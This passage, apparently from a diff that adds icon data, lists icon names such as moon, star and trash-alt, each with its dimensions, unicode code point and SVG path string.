248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-280c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm160 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z"], + "meh-rolling-eyes": [496, 512, [], "f5a5", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm88-304c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72zm0 112c-22.1 0-40-17.9-40-40 0-13.6 7.3-25.1 17.7-32.3-1 2.6-1.7 5.3-1.7 8.3 0 13.3 10.7 24 24 24s24-10.7 24-24c0-2.9-.7-5.7-1.7-8.3 10.4 7.2 17.7 18.7 17.7 32.3 0 22.1-17.9 40-40 40zm-104-40c0-39.8-32.2-72-72-72s-72 32.2-72 72 32.2 72 72 72 72-32.2 72-72zm-112 0c0-13.6 7.3-25.1 17.7-32.3-1 2.6-1.7 5.3-1.7 8.3 0 13.3 10.7 24 24 24s24-10.7 24-24c0-2.9-.7-5.7-1.7-8.3 10.4 7.2 17.7 18.7 17.7 32.3 0 22.1-17.9 40-40 40s-40-17.9-40-40zm192 128H184c-13.2 0-24 10.8-24 24s10.8 24 24 24h128c13.2 0 24-10.8 24-24s-10.8-24-24-24z"], + "minus-square": [448, 512, [], "f146", "M108 284c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h232c6.6 0 12 5.4 12 12v32c0 6.6-5.4 12-12 12H108zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"], + "money-bill-alt": [640, 512, [], "f3d1", "M320 144c-53.02 0-96 50.14-96 112 0 61.85 42.98 112 96 112 53 0 96-50.13 96-112 0-61.86-42.98-112-96-112zm40 168c0 4.42-3.58 8-8 8h-64c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h16v-55.44l-.47.31a7.992 7.992 0 0 1-11.09-2.22l-8.88-13.31a7.992 7.992 0 0 1 2.22-11.09l15.33-10.22a23.99 23.99 0 0 1 13.31-4.03H328c4.42 0 8 3.58 8 8v88h16c4.42 0 8 3.58 8 8v16zM608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zm-16 272c-35.35 0-64 28.65-64 64H112c0-35.35-28.65-64-64-64V176c35.35 0 64-28.65 64-64h416c0 35.35 28.65 64 64 64v160z"], + "moon": [512, 512, [], "f186", "M279.135 512c78.756 0 150.982-35.804 198.844-94.775 28.27-34.831-2.558-85.722-46.249-77.401-82.348 15.683-158.272-47.268-158.272-130.792 0-48.424 26.06-92.292 67.434-115.836 38.745-22.05 28.999-80.788-15.022-88.919A257.936 257.936 0 0 0 279.135 0c-141.36 0-256 114.575-256 256 0 141.36 114.576 256 256 256zm0-464c12.985 0 25.689 1.201 38.016 3.478-54.76 31.163-91.693 90.042-91.693 157.554 0 113.848 103.641 199.2 215.252 177.944C402.574 433.964 344.366 464 279.135 464c-114.875 0-208-93.125-208-208s93.125-208 208-208z"], + "newspaper": [576, 512, [], "f1ea", "M552 64H112c-20.858 0-38.643 13.377-45.248 32H24c-13.255 0-24 10.745-24 24v272c0 30.928 25.072 56 56 56h496c13.255 0 24-10.745 24-24V88c0-13.255-10.745-24-24-24zM48 392V144h16v248c0 4.411-3.589 8-8 8s-8-3.589-8-8zm480 8H111.422c.374-2.614.578-5.283.578-8V112h416v288zM172 280h136c6.627 0 12-5.373 12-12v-96c0-6.627-5.373-12-12-12H172c-6.627 0-12 5.373-12 12v96c0 6.627 5.373 12 12 12zm28-80h80v40h-80v-40zm-40 140v-24c0-6.627 5.373-12 12-12h136c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H172c-6.627 0-12-5.373-12-12zm192 0v-24c0-6.627 5.373-12 12-12h104c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H364c-6.627 0-12-5.373-12-12zm0-144v-24c0-6.627 5.373-12 12-12h104c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H364c-6.627 0-12-5.373-12-12zm0 72v-24c0-6.627 5.373-12 12-12h104c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H364c-6.627 0-12-5.373-12-12z"], + "object-group": [512, 512, [], "f247", "M500 128c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12h-72c-6.627 0-12 5.373-12 12v12H96V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v72c0 6.627 5.373 12 12 12h12v256H12c-6.627 0-12 5.373-12 12v72c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-12h320v12c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-12V128h12zm-52-64h32v32h-32V64zM32 64h32v32H32V64zm32 384H32v-32h32v32zm416 0h-32v-32h32v32zm-40-64h-12c-6.627 0-12 5.373-12 12v12H96v-12c0-6.627-5.373-12-12-12H72V128h12c6.627 0 12-5.373 12-12v-12h320v12c0 6.627 5.373 12 12 12h12v256zm-36-192h-84v-52c0-6.628-5.373-12-12-12H108c-6.627 0-12 5.372-12 12v168c0 6.628 5.373 12 12 12h84v52c0 6.628 5.373 12 12 12h200c6.627 0 12-5.372 12-12V204c0-6.628-5.373-12-12-12zm-268-24h144v112H136V168zm240 176H232v-24h76c6.627 0 12-5.372 12-12v-76h56v112z"], + "object-ungroup": [576, 512, [], "f248", "M564 224c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-72c-6.627 0-12 5.373-12 12v12h-88v-24h12c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12h-72c-6.627 0-12 5.373-12 12v12H96V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v72c0 6.627 5.373 12 12 12h12v160H12c-6.627 0-12 5.373-12 12v72c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-12h88v24h-12c-6.627 0-12 5.373-12 12v72c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-12h224v12c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-12V224h12zM352 64h32v32h-32V64zm0 256h32v32h-32v-32zM64 352H32v-32h32v32zm0-256H32V64h32v32zm32 216v-12c0-6.627-5.373-12-12-12H72V128h12c6.627 0 12-5.373 12-12v-12h224v12c0 6.627 5.373 12 12 12h12v160h-12c-6.627 0-12 5.373-12 12v12H96zm128 136h-32v-32h32v32zm280-64h-12c-6.627 0-12 5.373-12 12v12H256v-12c0-6.627-5.373-12-12-12h-12v-24h88v12c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-12v-88h88v12c0 6.627 5.373 12 12 12h12v160zm40 64h-32v-32h32v32zm0-256h-32v-32h32v32z"], + "paper-plane": [512, 512, [], "f1d8", "M440 6.5L24 246.4c-34.4 19.9-31.1 70.8 5.7 85.9L144 379.6V464c0 46.4 59.2 65.5 86.6 28.6l43.8-59.1 111.9 46.2c5.9 2.4 12.1 3.6 18.3 3.6 8.2 0 16.3-2.1 23.6-6.2 12.8-7.2 21.6-20 23.9-34.5l59.4-387.2c6.1-40.1-36.9-68.8-71.5-48.9zM192 464v-64.6l36.6 15.1L192 464zm212.6-28.7l-153.8-63.5L391 169.5c10.7-15.5-9.5-33.5-23.7-21.2L155.8 332.6 48 288 464 48l-59.4 387.3z"], + "pause-circle": [512, 512, [], "f28b", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm96-280v160c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16zm-112 0v160c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16z"], + "play-circle": [512, 512, [], "f144", "M371.7 238l-176-107c-15.8-8.8-35.7 2.5-35.7 21v208c0 18.4 19.8 29.8 35.7 21l176-101c16.4-9.1 16.4-32.8 0-42zM504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256z"], + "plus-square": [448, 512, [], "f0fe", "M352 240v32c0 6.6-5.4 12-12 12h-88v88c0 6.6-5.4 12-12 12h-32c-6.6 0-12-5.4-12-12v-88h-88c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h88v-88c0-6.6 5.4-12 12-12h32c6.6 0 12 5.4 12 12v88h88c6.6 0 12 5.4 12 12zm96-160v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"], + "question-circle": [512, 512, [], "f059", "M256 8C119.043 8 8 119.083 8 256c0 136.997 111.043 248 248 248s248-111.003 248-248C504 119.083 392.957 8 256 8zm0 448c-110.532 0-200-89.431-200-200 0-110.495 89.472-200 200-200 110.491 0 200 89.471 200 200 0 110.53-89.431 200-200 200zm107.244-255.2c0 67.052-72.421 68.084-72.421 92.863V300c0 6.627-5.373 12-12 12h-45.647c-6.627 0-12-5.373-12-12v-8.659c0-35.745 27.1-50.034 47.579-61.516 17.561-9.845 28.324-16.541 28.324-29.579 0-17.246-21.999-28.693-39.784-28.693-23.189 0-33.894 10.977-48.942 29.969-4.057 5.12-11.46 6.071-16.666 2.124l-27.824-21.098c-5.107-3.872-6.251-11.066-2.644-16.363C184.846 131.491 214.94 112 261.794 112c49.071 0 101.45 38.304 101.45 88.8zM298 368c0 23.159-18.841 42-42 42s-42-18.841-42-42 18.841-42 42-42 42 18.841 42 42z"], + "registered": [512, 512, [], "f25d", "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 448c-110.532 0-200-89.451-200-200 0-110.531 89.451-200 200-200 110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200zm110.442-81.791c-53.046-96.284-50.25-91.468-53.271-96.085 24.267-13.879 39.482-41.563 39.482-73.176 0-52.503-30.247-85.252-101.498-85.252h-78.667c-6.617 0-12 5.383-12 12V380c0 6.617 5.383 12 12 12h38.568c6.617 0 12-5.383 12-12v-83.663h31.958l47.515 89.303a11.98 11.98 0 0 0 10.593 6.36h42.81c9.14 0 14.914-9.799 10.51-17.791zM256.933 239.906h-33.875v-64.14h27.377c32.417 0 38.929 12.133 38.929 31.709-.001 20.913-11.518 32.431-32.431 32.431z"], + "sad-cry": [496, 512, [], "f5b3", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm144 386.4V280c0-13.2-10.8-24-24-24s-24 10.8-24 24v151.4C315.5 447 282.8 456 248 456s-67.5-9-96-24.6V280c0-13.2-10.8-24-24-24s-24 10.8-24 24v114.4c-34.6-36-56-84.7-56-138.4 0-110.3 89.7-200 200-200s200 89.7 200 200c0 53.7-21.4 102.5-56 138.4zM205.8 234.5c4.4-2.4 6.9-7.4 6.1-12.4-4-25.2-34.2-42.1-59.8-42.1s-55.9 16.9-59.8 42.1c-.8 5 1.7 10 6.1 12.4 4.4 2.4 9.9 1.8 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c2.5 2.3 7.9 4.8 13.7 1.6zM344 180c-25.7 0-55.9 16.9-59.8 42.1-.8 5 1.7 10 6.1 12.4 4.5 2.4 9.9 1.8 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c2.5 2.2 8 4.7 13.7 1.6 4.4-2.4 6.9-7.4 6.1-12.4-3.9-25.2-34.1-42.1-59.8-42.1zm-96 92c-30.9 0-56 28.7-56 64s25.1 64 56 64 56-28.7 56-64-25.1-64-56-64z"], + "sad-tear": [496, 512, [], "f5b4", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm8-152c-13.2 0-24 10.8-24 24s10.8 24 24 24c23.8 0 46.3 10.5 61.6 28.8 8.1 9.8 23.2 11.9 33.8 3.1 10.2-8.5 11.6-23.6 3.1-33.8C330 320.8 294.1 304 256 304zm-88-64c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-64c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm-165.6 98.8C151 290.1 126 325.4 126 342.9c0 22.7 18.8 41.1 42 41.1s42-18.4 42-41.1c0-17.5-25-52.8-36.4-68.1-2.8-3.7-8.4-3.7-11.2 0z"], + "save": [448, 512, [], "f0c7", "M433.941 129.941l-83.882-83.882A48 48 0 0 0 316.118 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V163.882a48 48 0 0 0-14.059-33.941zM272 80v80H144V80h128zm122 352H54a6 6 0 0 1-6-6V86a6 6 0 0 1 6-6h42v104c0 13.255 10.745 24 24 24h176c13.255 0 24-10.745 24-24V83.882l78.243 78.243a6 6 0 0 1 1.757 4.243V426a6 6 0 0 1-6 6zM224 232c-48.523 0-88 39.477-88 88s39.477 88 88 88 88-39.477 88-88-39.477-88-88-88zm0 128c-22.056 0-40-17.944-40-40s17.944-40 40-40 40 17.944 40 40-17.944 40-40 40z"], + "share-square": [576, 512, [], "f14d", "M561.938 158.06L417.94 14.092C387.926-15.922 336 5.097 336 48.032v57.198c-42.45 1.88-84.03 6.55-120.76 17.99-35.17 10.95-63.07 27.58-82.91 49.42C108.22 199.2 96 232.6 96 271.94c0 61.697 33.178 112.455 84.87 144.76 37.546 23.508 85.248-12.651 71.02-55.74-15.515-47.119-17.156-70.923 84.11-78.76V336c0 42.993 51.968 63.913 81.94 33.94l143.998-144c18.75-18.74 18.75-49.14 0-67.88zM384 336V232.16C255.309 234.082 166.492 255.35 206.31 376 176.79 357.55 144 324.08 144 271.94c0-109.334 129.14-118.947 240-119.85V48l144 144-144 144zm24.74 84.493a82.658 82.658 0 0 0 20.974-9.303c7.976-4.952 18.286.826 18.286 10.214V464c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h132c6.627 0 12 5.373 12 12v4.486c0 4.917-2.987 9.369-7.569 11.152-13.702 5.331-26.396 11.537-38.05 18.585a12.138 12.138 0 0 1-6.28 1.777H54a6 6 0 0 0-6 6v340a6 6 0 0 0 6 6h340a6 6 0 0 0 6-6v-25.966c0-5.37 3.579-10.059 8.74-11.541z"], + "smile": [496, 512, [], "f118", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm4 72.6c-20.8 25-51.5 39.4-84 39.4s-63.2-14.3-84-39.4c-8.5-10.2-23.7-11.5-33.8-3.1-10.2 8.5-11.5 23.6-3.1 33.8 30 36 74.1 56.6 120.9 56.6s90.9-20.6 120.9-56.6c8.5-10.2 7.1-25.3-3.1-33.8-10.1-8.4-25.3-7.1-33.8 3.1z"], + "smile-beam": [496, 512, [], "f5b8", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm84-143.4c-20.8 25-51.5 39.4-84 39.4s-63.2-14.3-84-39.4c-8.5-10.2-23.6-11.5-33.8-3.1-10.2 8.5-11.5 23.6-3.1 33.8 30 36 74.1 56.6 120.9 56.6s90.9-20.6 120.9-56.6c8.5-10.2 7.1-25.3-3.1-33.8-10.2-8.4-25.3-7.1-33.8 3.1zM136.5 211c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.4 1.1 7.4-.5 9.3-3.7l9.5-17zM328 152c-23.8 0-52.7 29.3-56 71.4-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4z"], + "smile-wink": [496, 512, [], "f4da", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm117.8-146.4c-10.2-8.5-25.3-7.1-33.8 3.1-20.8 25-51.5 39.4-84 39.4s-63.2-14.3-84-39.4c-8.5-10.2-23.7-11.5-33.8-3.1-10.2 8.5-11.5 23.6-3.1 33.8 30 36 74.1 56.6 120.9 56.6s90.9-20.6 120.9-56.6c8.5-10.2 7.1-25.3-3.1-33.8zM168 240c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-60c-25.7 0-55.9 16.9-59.9 42.1-1.7 11.2 11.5 18.2 19.8 10.8l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c8.5 7.4 21.6.3 19.8-10.8-3.8-25.2-34-42.1-59.7-42.1z"], + "snowflake": [448, 512, [], "f2dc", "M440.1 355.2l-39.2-23 34.1-9.3c8.4-2.3 13.4-11.1 11.1-19.6l-4.1-15.5c-2.2-8.5-10.9-13.6-19.3-11.3L343 298.2 271.2 256l71.9-42.2 79.7 21.7c8.4 2.3 17-2.8 19.3-11.3l4.1-15.5c2.2-8.5-2.7-17.3-11.1-19.6l-34.1-9.3 39.2-23c7.5-4.4 10.1-14.2 5.8-21.9l-7.9-13.9c-4.3-7.7-14-10.3-21.5-5.9l-39.2 23 9.1-34.7c2.2-8.5-2.7-17.3-11.1-19.6l-15.2-4.1c-8.4-2.3-17 2.8-19.3 11.3l-21.3 81-71.9 42.2v-84.5L306 70.4c6.1-6.2 6.1-16.4 0-22.6l-11.1-11.3c-6.1-6.2-16.1-6.2-22.2 0l-24.9 25.4V16c0-8.8-7-16-15.7-16h-15.7c-8.7 0-15.7 7.2-15.7 16v46.1l-24.9-25.4c-6.1-6.2-16.1-6.2-22.2 0L142.1 48c-6.1 6.2-6.1 16.4 0 22.6l58.3 59.3v84.5l-71.9-42.2-21.3-81c-2.2-8.5-10.9-13.6-19.3-11.3L72.7 84c-8.4 2.3-13.4 11.1-11.1 19.6l9.1 34.7-39.2-23c-7.5-4.4-17.1-1.8-21.5 5.9l-7.9 13.9c-4.3 7.7-1.8 17.4 5.8 21.9l39.2 23-34.1 9.1c-8.4 2.3-13.4 11.1-11.1 19.6L6 224.2c2.2 8.5 10.9 13.6 19.3 11.3l79.7-21.7 71.9 42.2-71.9 42.2-79.7-21.7c-8.4-2.3-17 2.8-19.3 11.3l-4.1 15.5c-2.2 8.5 2.7 17.3 11.1 19.6l34.1 9.3-39.2 23c-7.5 4.4-10.1 14.2-5.8 21.9L10 391c4.3 7.7 14 10.3 21.5 5.9l39.2-23-9.1 34.7c-2.2 8.5 2.7 17.3 11.1 19.6l15.2 4.1c8.4 2.3 17-2.8 19.3-11.3l21.3-81 71.9-42.2v84.5l-58.3 59.3c-6.1 6.2-6.1 16.4 0 22.6l11.1 11.3c6.1 6.2 16.1 6.2 22.2 0l24.9-25.4V496c0 8.8 7 16 15.7 16h15.7c8.7 0 15.7-7.2 15.7-16v-46.1l24.9 25.4c6.1 6.2 16.1 6.2 22.2 0l11.1-11.3c6.1-6.2 6.1-16.4 0-22.6l-58.3-59.3v-84.5l71.9 42.2 21.3 81c2.2 8.5 10.9 13.6 19.3 11.3L375 428c8.4-2.3 13.4-11.1 11.1-19.6l-9.1-34.7 39.2 23c7.5 4.4 17.1 1.8 21.5-5.9l7.9-13.9c4.6-7.5 2.1-17.3-5.5-21.7z"], + "square": [448, 512, [], "f0c8", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-6 400H54c-3.3 0-6-2.7-6-6V86c0-3.3 2.7-6 6-6h340c3.3 0 6 2.7 6 6v340c0 3.3-2.7 6-6 6z"], + "star": [576, 512, [], "f005", "M528.1 171.5L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6zM388.6 312.3l23.7 138.4L288 385.4l-124.3 65.3 23.7-138.4-100.6-98 139-20.2 62.2-126 62.2 126 139 20.2-100.6 98z"], + "star-half": [576, 512, [], "f089", "M288 385.3l-124.3 65.4 23.7-138.4-100.6-98 139-20.2 62.2-126V0c-11.4 0-22.8 5.9-28.7 17.8L194 150.2 47.9 171.4c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.1 23 46 46.4 33.7L288 439.6v-54.3z"], + "sticky-note": [448, 512, [], "f249", "M448 348.106V80c0-26.51-21.49-48-48-48H48C21.49 32 0 53.49 0 80v351.988c0 26.51 21.49 48 48 48h268.118a48 48 0 0 0 33.941-14.059l83.882-83.882A48 48 0 0 0 448 348.106zm-128 80v-76.118h76.118L320 428.106zM400 80v223.988H296c-13.255 0-24 10.745-24 24v104H48V80h352z"], + "stop-circle": [512, 512, [], "f28d", "M504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256zm296-80v160c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h160c8.8 0 16 7.2 16 16z"], + "sun": [512, 512, [], "f185", "M494.2 221.9l-59.8-40.5 13.7-71c2.6-13.2-1.6-26.8-11.1-36.4-9.6-9.5-23.2-13.7-36.2-11.1l-70.9 13.7-40.4-59.9c-15.1-22.3-51.9-22.3-67 0l-40.4 59.9-70.8-13.7C98 60.4 84.5 64.5 75 74.1c-9.5 9.6-13.7 23.1-11.1 36.3l13.7 71-59.8 40.5C6.6 229.5 0 242 0 255.5s6.7 26 17.8 33.5l59.8 40.5-13.7 71c-2.6 13.2 1.6 26.8 11.1 36.3 9.5 9.5 22.9 13.7 36.3 11.1l70.8-13.7 40.4 59.9C230 505.3 242.6 512 256 512s26-6.7 33.5-17.8l40.4-59.9 70.9 13.7c13.4 2.7 26.8-1.6 36.3-11.1 9.5-9.5 13.6-23.1 11.1-36.3l-13.7-71 59.8-40.5c11.1-7.5 17.8-20.1 17.8-33.5-.1-13.6-6.7-26.1-17.9-33.7zm-112.9 85.6l17.6 91.2-91-17.6L256 458l-51.9-77-90.9 17.6 17.6-91.2-76.8-52 76.8-52-17.6-91.2 91 17.6L256 53l51.9 76.9 91-17.6-17.6 91.1 76.8 52-76.8 52.1zM256 152c-57.3 0-104 46.7-104 104s46.7 104 104 104 104-46.7 104-104-46.7-104-104-104zm0 160c-30.9 0-56-25.1-56-56s25.1-56 56-56 56 25.1 56 56-25.1 56-56 56z"], + "surprise": [496, 512, [], "f5c2", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm0-176c-35.3 0-64 28.7-64 64s28.7 64 64 64 64-28.7 64-64-28.7-64-64-64zm-48-72c0-17.7-14.3-32-32-32s-32 14.3-32 32 14.3 32 32 32 32-14.3 32-32zm128-32c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z"], + "thumbs-down": [512, 512, [], "f165", "M466.27 225.31c4.674-22.647.864-44.538-8.99-62.99 2.958-23.868-4.021-48.565-17.34-66.99C438.986 39.423 404.117 0 327 0c-7 0-15 .01-22.22.01C201.195.01 168.997 40 128 40h-10.845c-5.64-4.975-13.042-8-21.155-8H32C14.327 32 0 46.327 0 64v240c0 17.673 14.327 32 32 32h64c11.842 0 22.175-6.438 27.708-16h7.052c19.146 16.953 46.013 60.653 68.76 83.4 13.667 13.667 10.153 108.6 71.76 108.6 57.58 0 95.27-31.936 95.27-104.73 0-18.41-3.93-33.73-8.85-46.54h36.48c48.602 0 85.82-41.565 85.82-85.58 0-19.15-4.96-34.99-13.73-49.84zM64 296c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24zm330.18 16.73H290.19c0 37.82 28.36 55.37 28.36 94.54 0 23.75 0 56.73-47.27 56.73-18.91-18.91-9.46-66.18-37.82-94.54C206.9 342.89 167.28 272 138.92 272H128V85.83c53.611 0 100.001-37.82 171.64-37.82h37.82c35.512 0 60.82 17.12 53.12 65.9 15.2 8.16 26.5 36.44 13.94 57.57 21.581 20.384 18.699 51.065 5.21 65.62 9.45 0 22.36 18.91 22.27 37.81-.09 18.91-16.71 37.82-37.82 37.82z"], + "thumbs-up": [512, 512, [], "f164", "M466.27 286.69C475.04 271.84 480 256 480 236.85c0-44.015-37.218-85.58-85.82-85.58H357.7c4.92-12.81 8.85-28.13 8.85-46.54C366.55 31.936 328.86 0 271.28 0c-61.607 0-58.093 94.933-71.76 108.6-22.747 22.747-49.615 66.447-68.76 83.4H32c-17.673 0-32 14.327-32 32v240c0 17.673 14.327 32 32 32h64c14.893 0 27.408-10.174 30.978-23.95 44.509 1.001 75.06 39.94 177.802 39.94 7.22 0 15.22.01 22.22.01 77.117 0 111.986-39.423 112.94-95.33 13.319-18.425 20.299-43.122 17.34-66.99 9.854-18.452 13.664-40.343 8.99-62.99zm-61.75 53.83c12.56 21.13 1.26 49.41-13.94 57.57 7.7 48.78-17.608 65.9-53.12 65.9h-37.82c-71.639 0-118.029-37.82-171.64-37.82V240h10.92c28.36 0 67.98-70.89 94.54-97.46 28.36-28.36 18.91-75.63 37.82-94.54 47.27 0 47.27 32.98 47.27 56.73 0 39.17-28.36 56.72-28.36 94.54h103.99c21.11 0 37.73 18.91 37.82 37.82.09 18.9-12.82 37.81-22.27 37.81 13.489 14.555 16.371 45.236-5.21 65.62zM88 432c0 13.255-10.745 24-24 24s-24-10.745-24-24 10.745-24 24-24 24 10.745 24 24z"], + "times-circle": [512, 512, [], "f057", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm101.8-262.2L295.6 256l62.2 62.2c4.7 4.7 4.7 12.3 0 17l-22.6 22.6c-4.7 4.7-12.3 4.7-17 0L256 295.6l-62.2 62.2c-4.7 4.7-12.3 4.7-17 0l-22.6-22.6c-4.7-4.7-4.7-12.3 0-17l62.2-62.2-62.2-62.2c-4.7-4.7-4.7-12.3 0-17l22.6-22.6c4.7-4.7 12.3-4.7 17 0l62.2 62.2 62.2-62.2c4.7-4.7 12.3-4.7 17 0l22.6 22.6c4.7 4.7 4.7 12.3 0 17z"], + "tired": [496, 512, [], "f5c8", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm129.1-303.8c-3.8-4.4-10.3-5.4-15.3-2.5l-80 48c-3.6 2.2-5.8 6.1-5.8 10.3s2.2 8.1 5.8 10.3l80 48c5.4 3.2 11.8 1.6 15.3-2.5 3.8-4.5 3.9-11 .1-15.5L343.6 208l33.6-40.3c3.8-4.5 3.7-11.1-.1-15.5zM220 208c0-4.2-2.2-8.1-5.8-10.3l-80-48c-5-3-11.5-1.9-15.3 2.5-3.8 4.5-3.9 11-.1 15.5l33.6 40.3-33.6 40.3c-3.8 4.5-3.7 11 .1 15.5 3.5 4.1 9.9 5.7 15.3 2.5l80-48c3.6-2.2 5.8-6.1 5.8-10.3zm28 64c-45.4 0-100.9 38.3-107.8 93.3-1.5 11.8 6.9 21.6 15.5 17.9C178.4 373.5 212 368 248 368s69.6 5.5 92.3 15.2c8.5 3.7 17-6 15.5-17.9-6.9-55-62.4-93.3-107.8-93.3z"], + "trash-alt": [448, 512, [], "f2ed", "M268 416h24a12 12 0 0 0 12-12V188a12 12 0 0 0-12-12h-24a12 12 0 0 0-12 12v216a12 12 0 0 0 12 12zM432 